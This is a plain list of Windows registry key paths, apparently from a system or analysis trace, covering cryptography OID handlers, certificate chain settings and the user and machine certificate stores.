HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\#16
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\Ldap
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CertDllOpenStoreProv
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{000C10F1-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{BA08A66F-113B-4D58-9329-A1B37AF30F0E}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptSIPDllVerifyIndirectData
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllEncodeObjectEx
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.1.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.11
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.12
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.3
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.4
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllEncodeObject
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2001
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2002
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2003
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2004
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2005
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2006
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2007
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2008
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2009
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2130
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2221
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2222
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.1.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.4
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.10
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.11
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.12
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.15
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.20
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.25
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.26
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.27
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.28
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.30
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.4
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\ChainEngine\Config
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\Keys
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\CTLs
HKEY_CURRENT_USER\
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\SmartCardRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\
